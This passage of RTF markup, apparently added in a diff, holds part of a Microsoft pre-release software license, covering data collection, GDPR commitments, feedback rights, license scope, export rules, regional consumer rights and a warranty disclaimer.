+\b0\fs20\dbch\af13\insrsid2061565 \hich\af43\dbch\af13\loch\f43  may be}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\dbch\af13\insrsid2061565 \hich\af43\dbch\af13\loch\f43  }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\b0\fs20\dbch\af13\insrsid15405862\charrsid9066668 \hich\af43\dbch\af13\loch\f43 described in the ThirdPartyNotices file accompanying the software. 
+\par {\listtext\pard\plain\ltrpar \s1 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\f43\fs20\insrsid9066668\charrsid12868782 \hich\af43\dbch\af0\loch\f43 3.\tab}}\pard\plain \ltrpar\s1\ql \fi-357\li357\ri0\sb120\sa120\nowidctlpar
+\jclisttab\tx360\wrapdefault\aspalpha\aspnum\faauto\ls15\outlinelevel0\adjustright\rin0\lin357\itap0\pararsid9066668 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 \b\f43\fs19\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 
+\ltrch\fcs0 \fs20\insrsid9066668\charrsid12868782 DATA.  }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid2061565\charrsid2061565 
+\par {\listtext\pard\plain\ltrpar \s2 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\f43\fs20\insrsid2061565\charrsid2061565 \hich\af43\dbch\af0\loch\f43 a.\tab}}\pard\plain \ltrpar\s2\ql \fi-363\li720\ri0\sb120\sa120\nowidctlpar
+\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls1\ilvl1\outlinelevel1\prauth1\adjustright\rin0\lin720\itap0\pararsid2061565 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 \b\f43\fs19\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\*\oldpprops 
+\pard \ltrpar\s2\ql \fi-363\li720\ri0\sb120\sa120\nowidctlpar\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls1\ilvl1\outlinelevel1\adjustright\rin0\lin720\itap0\pararsid2061565 }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\fs20\insrsid2061565\charrsid2061565 Data Collection.}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid2061565\charrsid2061565  }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid9066668\charrsid2061565 
+The software may collect information about you and your use of the software, and sen
+d that to Microsoft. Microsoft may use this information to provide services and improve our products and services.  You may opt-out of many of these scenarios, but not all, as described in the product documentation.  }{\rtlch\fcs1 \af43 \ltrch\fcs0 
+\b0\insrsid9066668\charrsid2061565 There are also s}{\rtlch\fcs1 \af43 \ltrch\fcs0 \b0\cf1\insrsid9066668\charrsid2061565 ome features in the software that may enable you }{\rtlch\fcs1 \af43 \ltrch\fcs0 \b0\cf1\insrsid2061565\charrsid2061565 
+and Microsoft }{\rtlch\fcs1 \af43 \ltrch\fcs0 \b0\cf1\insrsid9066668\charrsid2061565 to collect data from users of your applications.}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid9066668\charrsid2061565  If you use these features
+, you must comply with applicable law, including providing appropriate notices to users of your applications}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid2061565\charrsid2061565  together with a copy of Microsoft\rquote s privacy statement}{
+\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid9066668\charrsid2061565 . }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid2061565\charrsid2061565 Our privacy statement is located }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\b0\fs20\insrsid9066668\charrsid2061565 at }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af43 \ltrch\fcs0 \insrsid9990859  HYPERLINK "http://go.microsoft.com/fwlink/?LinkID=528096" }{\rtlch\fcs1 \af43 \ltrch\fcs0 \insrsid4398083 {\*\datafield 
+00d0c9ea79f9bace118c8200aa004ba90b0200000003000000e0c9ea79f9bace118c8200aa004ba90b7400000068007400740070003a002f002f0067006f002e006d006900630072006f0073006f00660074002e0063006f006d002f00660077006c0069006e006b002f003f004c0069006e006b00490044003d0035003200
+38003000390036000000795881f43b1d7f48af2c825dc485276300000000a5ab0003006f}}}{\fldrslt {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \cs24\b0\fs20\ul\cf2\insrsid9066668\charrsid2061565 http://go.microsoft.com/fwlink/?LinkID=528096}}}\sectd \ltrsect
+\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9860928\sftnbj {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid9066668\charrsid2061565 . }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid2061565\charrsid2061565 
+You can learn more about data collection and use in the help documentation and the privacy statement. }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid9066668\charrsid2061565 Your use of the software operates as your consent to these practices.}{
+\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid9066668 
+\par {\listtext\pard\plain\ltrpar \s2 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\f43\fs20\insrsid2061565 \hich\af43\dbch\af0\loch\f43 b.\tab}}\pard \ltrpar\s2\ql \fi-363\li720\ri0\sb120\sa120\nowidctlpar
+\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls1\ilvl1\outlinelevel1\adjustright\rin0\lin720\itap0\pararsid2061565 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\insrsid2061565 Processing of Personal Data.}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\b0\fs20\insrsid2061565  }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid2061565\charrsid3831999 To the extent Microsoft is a processo
+r or subprocessor of personal data in connection with the software, Microsoft makes the commitments in the European Union General Data Protection Regulation Terms of the Online Services Terms to all customers effective May 25, 2018, }{\rtlch\fcs1 
+\af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid2061565\charrsid2061565 at }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\insrsid2061565\charrsid2061565  HYPERLINK "http://go.microsoft.com/?linkid=9840733" }{\rtlch\fcs1 \af43\afs20 
+\ltrch\fcs0 \fs20\insrsid3297313\charrsid2061565 {\*\datafield 
+00d0c9ea79f9bace118c8200aa004ba90b0200000003000000e0c9ea79f9bace118c8200aa004ba90b6800000068007400740070003a002f002f0067006f002e006d006900630072006f0073006f00660074002e0063006f006d002f003f006c0069006e006b00690064003d00390038003400300037003300330000007958
+81f43b1d7f48af2c825dc485276300000000a5ab0003}}}{\fldrslt {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \cs24\b0\fs20\ul\cf2\insrsid2061565\charrsid2061565 http://go.microsoft.com/?linkid=9840733}}}\sectd \ltrsect
+\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9860928\sftnbj {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \cs24\b0\fs20\ul\cf2\insrsid2061565 .}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid2061565\charrsid2061565  }{\rtlch\fcs1 \af43\afs20 
+\ltrch\fcs0 \b0\fs20\insrsid2061565\charrsid2061565 
+\par {\listtext\pard\plain\ltrpar \s1 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\fs20\loch\af43\hich\af43\dbch\af13\insrsid9066668\charrsid15278441 \hich\af43\dbch\af13\loch\f43 4.\tab}}\pard\plain \ltrpar\s1\ql \fi-357\li357\ri0\sb120\sa120\nowidctlpar
+\jclisttab\tx360\wrapdefault\aspalpha\aspnum\faauto\ls1\outlinelevel0\adjustright\rin0\lin357\itap0\pararsid9066668 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 \b\f43\fs19\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 
+\ltrch\fcs0 \fs20\dbch\af13\insrsid9066668\charrsid15278441 \hich\af43\dbch\af13\loch\f43 PRE-RELEASE SOFTWARE. }{\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 \b0\fs20\dbch\af13\insrsid9066668\charrsid15278441 \hich\af43\dbch\af13\loch\f43 
+This software is a pre-release version. It may not work the way a final version of the software will. We may change it for the final, commercial version. We also may not release a commercial version.}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\fs20\dbch\af13\insrsid9066668\charrsid15278441 
+\par {\listtext\pard\plain\ltrpar \s1 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\fs20\loch\af43\hich\af43\dbch\af13\insrsid9066668\charrsid15278441 \hich\af43\dbch\af13\loch\f43 5.\tab}\hich\af43\dbch\af13\loch\f43 FEEDBACK. }{\rtlch\fcs1 \ab0\af43\afs20 
+\ltrch\fcs0 \b0\fs20\dbch\af13\insrsid9066668\charrsid15278441 \hich\af43\dbch\af13\loch\f43 If you give feedback about the software to \hich\af43\dbch\af13\loch\f43 
+Microsoft, you give to Microsoft, without charge, the right to use, share and commercialize your feedback in any way and for any purpose. You will not give feedback that is subject to a license that requires Microsoft to license its software or documentat
+\hich\af43\dbch\af13\loch\f43 i\hich\af43\dbch\af13\loch\f43 on to third parties because we include your feedback in them. These rights survive this agreement.}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid9066668\charrsid15278441 
+\par {\listtext\pard\plain\ltrpar \s1 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\caps\fs20\loch\af43\hich\af43\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 6.\tab}}\pard \ltrpar\s1\ql \fi-357\li357\ri0\sb120\sa120\nowidctlpar
+\jclisttab\tx360\wrapdefault\aspalpha\aspnum\faauto\ls1\outlinelevel0\adjustright\rin0\lin357\itap0\pararsid15804309 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \caps\fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 Scope of License}{
+\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid4934124\charrsid15278441 .}{\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 \b0\fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 
+ The software is licensed, not sold. This agreement only gives you some rights to use the software. Microsoft reserves all other rights. \hich\af43\dbch\af13\loch\f43 
+Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certa
+\hich\af43\dbch\af13\loch\f43 i\hich\af43\dbch\af13\loch\f43 n ways. }{\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 \b0\fs20\dbch\af13\insrsid554910 \hich\af43\dbch\af13\loch\f43 For more information, see }{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af43 
+\ltrch\fcs0 \insrsid9990859  HYPERLINK "http://www.microsoft.com/licensing/userights" }{\rtlch\fcs1 \af43 \ltrch\fcs0 \insrsid4398083 {\*\datafield 
+00d0c9ea79f9bace118c8200aa004ba90b0200000003000000e0c9ea79f9bace118c8200aa004ba90b7200000068007400740070003a002f002f007700770077002e006d006900630072006f0073006f00660074002e0063006f006d002f006c006900630065006e00730069006e0067002f00750073006500720069006700
+6800740073000000795881f43b1d7f48af2c825dc485276300000000a5ab00031044}}}{\fldrslt {\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 \cs24\b0\fs20\ul\cf2\dbch\af13\insrsid554910\charrsid7167079 \hich\af43\dbch\af13\loch\f43 www.microsoft.com/licensing/userights}}}
+\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9860928\sftnbj {\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 \b0\fs20\dbch\af13\insrsid554910 \hich\af43\dbch\af13\loch\f43 . }{\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 
+\b0\fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 You ma\hich\af43\dbch\af13\loch\f43 y not}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid4934124\charrsid15278441 
+\par {\listtext\pard\plain\ltrpar \s26 \rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\loch\af3\hich\af3\dbch\af13\insrsid4934124\charrsid15278441 \loch\af3\dbch\af13\hich\f3 \'b7\tab}}\pard\plain \ltrpar\s26\ql \fi-363\li720\ri0\sb120\sa120\nowidctlpar
+\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls2\adjustright\rin0\lin720\itap0\pararsid4934124 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 \fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
+\af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 work around any technical limitations in the software}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\insrsid4934124\charrsid15278441 
+\hich\af43\dbch\af11\loch\f43 ;}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid4934124\charrsid15278441 
+\par {\listtext\pard\plain\ltrpar \s26 \rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\loch\af3\hich\af3\dbch\af13\insrsid4934124\charrsid15278441 \loch\af3\dbch\af13\hich\f3 \'b7\tab}\hich\af43\dbch\af13\loch\f43 
+reverse engineer, decompile or disassemble the software, }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid554910 \hich\af43\dbch\af13\loch\f43 or attempt to }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid2061565 
+\hich\af43\dbch\af13\loch\f43 derive the source code for the software, }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 except and only to the extent }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\fs20\dbch\af13\insrsid554910 \hich\af43\dbch\af13\loch\f43 required by third party licensing terms \hich\af43\dbch\af13\loch\f43 governing use of certain open-source components that may be included with the software}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\fs20\insrsid4934124\charrsid15278441 \hich\af43\dbch\af11\loch\f43 ;}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid4934124\charrsid15278441 
+\par {\listtext\pard\plain\ltrpar \s26 \rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\loch\af3\hich\af3\dbch\af13\insrsid2434661\charrsid15278441 \loch\af3\dbch\af13\hich\f3 \'b7\tab}}\pard \ltrpar\s26\ql \fi-363\li720\ri0\sb120\sa120\nowidctlpar
+\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls2\adjustright\rin0\lin720\itap0\pararsid2434661 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid2434661\charrsid15278441 \hich\af43\dbch\af13\loch\f43 
+remove, minimize, block or modify any notices of Microsoft or its suppliers in the software; 
+\par {\listtext\pard\plain\ltrpar \s26 \rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\loch\af3\hich\af3\dbch\af13\insrsid2434661\charrsid15278441 \loch\af3\dbch\af13\hich\f3 \'b7\tab}\hich\af43\dbch\af13\loch\f43 
+use the software in any way that is against the law; or
+\par {\listtext\pard\plain\ltrpar \s26 \rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\loch\af3\hich\af3\dbch\af13\insrsid2434661\charrsid15278441 \loch\af3\dbch\af13\hich\f3 \'b7\tab}\hich\af43\dbch\af13\loch\f43 share, publi\hich\af43\dbch\af13\loch\f43 sh}{
+\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid554910 \hich\af43\dbch\af13\loch\f43 , rent, or lease}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid2434661\charrsid15278441 \hich\af43\dbch\af13\loch\f43 
+ the software, or provide the software as a stand-alone }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid2061565 \hich\af43\dbch\af13\loch\f43 offering}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid2434661\charrsid15278441 
+\hich\af43\dbch\af13\loch\f43  for others to use.
+\par {\listtext\pard\plain\ltrpar \s1 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\caps\fs20\loch\af43\hich\af43\dbch\af13\insrsid4934124\charrsid10956334 \hich\af43\dbch\af13\loch\f43 7.\tab}}\pard\plain \ltrpar\s1\ql \fi-357\li357\ri0\sb120\sa120\nowidctlpar
+\jclisttab\tx360\wrapdefault\aspalpha\aspnum\faauto\ls1\outlinelevel0\adjustright\rin0\lin357\itap0\pararsid13594873 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 \b\f43\fs19\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 
+\ltrch\fcs0 \caps\fs20\dbch\af13\insrsid4934124\charrsid10956334 \hich\af43\dbch\af13\loch\f43 Export Restrictions}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid4934124\charrsid10956334 .}{\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 
+\b0\fs20\dbch\af13\insrsid4934124\charrsid10956334 \hich\af43\dbch\af13\loch\f43  }{\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 \b0\fs20\dbch\af13\insrsid554910\charrsid10956334 \hich\af43\dbch\af13\loch\f43 
+You must comply with all domestic and international export laws and regulations that apply to the software, whi\hich\af43\dbch\af13\loch\f43 
+ch include restrictions on destinations, end users and end use.  For further information on export restrictions, visit (aka.ms/exporting).}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid10956334\charrsid10956334 
+\par {\listtext\pard\plain\ltrpar \s1 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\caps\fs20\loch\af43\hich\af43\dbch\af13\insrsid4934124\charrsid10956334 \hich\af43\dbch\af13\loch\f43 8.\tab}}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\caps\fs20\dbch\af13\insrsid4934124\charrsid10956334 \hich\af43\dbch\af13\loch\f43 SUPPORT SERVICES.}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid4934124\charrsid10956334 \hich\af43\dbch\af13\loch\f43  }{\rtlch\fcs1 \ab0\af43\afs20 
+\ltrch\fcs0 \b0\fs20\dbch\af13\insrsid4934124\charrsid10956334 \hich\af43\dbch\af13\loch\f43 \hich\f43 Because this software is \'93\loch\f43 \hich\f43 as is,\'94\loch\f43  we may not provide support services for it.}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\fs20\dbch\af13\insrsid4934124\charrsid10956334 
+\par {\listtext\pard\plain\ltrpar \s1 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\caps\fs20\loch\af43\hich\af43\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 9.\tab}}\pard \ltrpar\s1\ql \fi-357\li357\ri0\sb120\sa120\nowidctlpar
+\jclisttab\tx360\wrapdefault\aspalpha\aspnum\faauto\ls1\outlinelevel0\adjustright\rin0\lin357\itap0\pararsid4934124 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \caps\fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 Entire Agreemen
+\hich\af43\dbch\af13\loch\f43 t.}{\rtlch\fcs1 \ab0\af43\afs20 \ltrch\fcs0 \b0\fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 
+ This agreement, and the terms for supplements, updates, Internet-based services and support services that you use, are the entire agreement for the software and support services.
+\par {\listtext\pard\plain\ltrpar \s1 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\caps\fs20\loch\af43\hich\af43\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 10.\tab}}\pard \ltrpar\s1\ql \fi-360\li360\ri0\sb120\sa120\nowidctlpar
+\jclisttab\tx360\wrapdefault\aspalpha\aspnum\faauto\ls1\outlinelevel0\adjustright\rin0\lin360\itap0\pararsid528777 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \caps\fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 Applicable Law}{
+\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid4934124\charrsid15278441 .}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid528777\charrsid15278441 \hich\af43\dbch\af13\loch\f43   }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\b0\fs20\insrsid528777\charrsid15278441 If you acquired the software in the United States, Wa
+shington law applies to interpretation of and claims for breach of this agreement, and the laws of the state where you live apply to all other claims. If you acquired the software in any other country, its laws apply.}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\fs20\dbch\af13\insrsid528777\charrsid15278441 
+\par {\listtext\pard\plain\ltrpar \s1 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\f43\fs20\insrsid10956334\charrsid16328790 \hich\af43\dbch\af0\loch\f43 11.\tab}}\pard \ltrpar\s1\ql \fi-357\li357\ri0\sb120\sa120\nowidctlpar
+\jclisttab\tx360\wrapdefault\aspalpha\aspnum\faauto\ls1\outlinelevel0\adjustright\rin0\lin357\itap0\pararsid14644610 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\insrsid10956334\charrsid16328790 CONSUMER RIGHTS; REGIONAL VARIATIONS. }{\rtlch\fcs1 
+\af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid10956334\charrsid16328790 
+This agreement describes certain legal rights. You may have other rights, including consumer rights, under the laws of your state or country. Separate and apart from your relationship with Microsoft, you may also have rights with respect to the party f
+rom which you acquired the software. This agreement does not change those other rights if the laws of your state or country do not permit it to do so. For example, if you acquired the software in one of the below regions, or mandatory country law applies,
+ then the following provisions apply to you:
+\par {\listtext\pard\plain\ltrpar \s2 \rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\f43\fs20\insrsid10956334\charrsid16328790 \hich\af43\dbch\af0\loch\f43 a.\tab}}\pard\plain \ltrpar
+\s2\ql \fi-360\li717\ri0\sb120\sa120\widctlpar\wrapdefault\aspalpha\aspnum\faauto\ls18\outlinelevel1\adjustright\rin0\lin717\itap0\pararsid10956334 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 
+\b\f43\fs19\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\insrsid10956334\charrsid16328790 Australia. }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid10956334\charrsid16328790 
+You have statutory guarantees under the Australian Consumer Law and nothing in this agreement is intended to affect those rights.
+\par {\listtext\pard\plain\ltrpar \s2 \rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\f43\fs20\insrsid10956334\charrsid16328790 \hich\af43\dbch\af0\loch\f43 b.\tab}}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\insrsid10956334\charrsid16328790 Canada. }{\rtlch\fcs1 
+\af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid10956334\charrsid16328790 If you acquired this software in Canada, you may stop rec
+eiving updates by turning off the automatic update feature, disconnecting your device from the Internet (if and when you re-connect to the Internet, however, the software will resume checking for and installing updates), or uninstalling the software. The 
+product documentation, if any, may also specify how to turn off updates for your specific device or software.
+\par {\listtext\pard\plain\ltrpar \s2 \rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\f43\fs20\insrsid10956334\charrsid16328790 \hich\af43\dbch\af0\loch\f43 c.\tab}}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\insrsid10956334\charrsid16328790 Germany and Austria}{
+\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid10956334\charrsid16328790 .
+\par }\pard\plain \ltrpar\ql \li717\ri0\sb120\sa120\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin717\itap0\pararsid10956334 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\af43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b\fs20\insrsid10956334\charrsid16328790 \hich\af43\dbch\af11\loch\f43 (i)}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\fs20\insrsid10956334\charrsid16328790 \tab }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b\fs20\insrsid10956334\charrsid16328790 \hich\af43\dbch\af11\loch\f43 Warranty}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\insrsid10956334\charrsid16328790 
+\hich\af43\dbch\af11\loch\f43 . The properly licensed software will perform substantially as described in any Microsoft materials that accomp\hich\af43\dbch\af11\loch\f43 
+any the software. However, Microsoft gives no contractual guarantee in relation to the licensed software.
+\par }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b\fs20\insrsid10956334\charrsid16328790 \hich\af43\dbch\af11\loch\f43 (ii)}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\insrsid10956334\charrsid16328790 \tab }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\b\fs20\insrsid10956334\charrsid16328790 \hich\af43\dbch\af11\loch\f43 Limitation of Liability}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\insrsid10956334\charrsid16328790 \hich\af43\dbch\af11\loch\f43 . In case of intentional conduct, gross negligence, c
+\hich\af43\dbch\af11\loch\f43 laims based on the Product Liability Act, as well as, in case of death or personal or physical injury, Microsoft is liable according to the statutory law.
+\par }\pard\plain \ltrpar\s1\ql \li717\ri0\sb120\sa120\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin717\itap0\pararsid10956334 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 
+\b\f43\fs19\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \b0\fs20\insrsid10956334\charrsid16328790 Subject to the foregoing clause (ii), Microsoft will only be liable for slight negligence if Microsof
+t is in breach of such material contractual obligations, the fulfillment of which facilitate the due performance of this agreement, the breach of which would endanger the purpose of this agreement and the compliance with which a party may constantly trust
+ in (so-called "cardinal obligations"). In other cases of slight negligence, Microsoft will not be liable for slight negligence.
+\par {\listtext\pard\plain\ltrpar \s1 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\caps\fs20\loch\af43\hich\af43\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 12.\tab}}\pard \ltrpar\s1\ql \fi-357\li357\ri0\sb120\sa120\nowidctlpar
+\jclisttab\tx360\wrapdefault\aspalpha\aspnum\faauto\ls1\outlinelevel0\adjustright\rin0\lin357\itap0\pararsid4934124 {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \caps\fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 
+Disclaimer of Warranty.}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43  }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\dbch\af13\insrsid12584315\charrsid15278441 
+\hich\af43\dbch\af13\loch\f43 \hich\f43 THE SOFTWARE IS LICENSED \'93\loch\f43 \hich\f43 AS-IS.\'94\loch\f43  YOU BEAR THE RISK OF USING IT. MICROSOFT GIVES NO EXPRESS WARRANTI\hich\af43\dbch\af13\loch\f43 
+ES, GUARANTEES OR CONDITIONS. TO THE EXTENT PERMITTED UNDER YOUR LOCAL LAWS, MICROSOFT EXCLUDES THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 
+\caps\fs20\dbch\af13\insrsid4934124\charrsid15278441 
+\par {\listtext\pard\plain\ltrpar \s1 \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 \b\caps\fs20\loch\af43\hich\af43\dbch\af13\insrsid4934124\charrsid15278441 \hich\af43\dbch\af13\loch\f43 13.\tab}}\pard \ltrpar\s1\ql \fi-357\li357\ri0\sb120\sa120\widctlpar
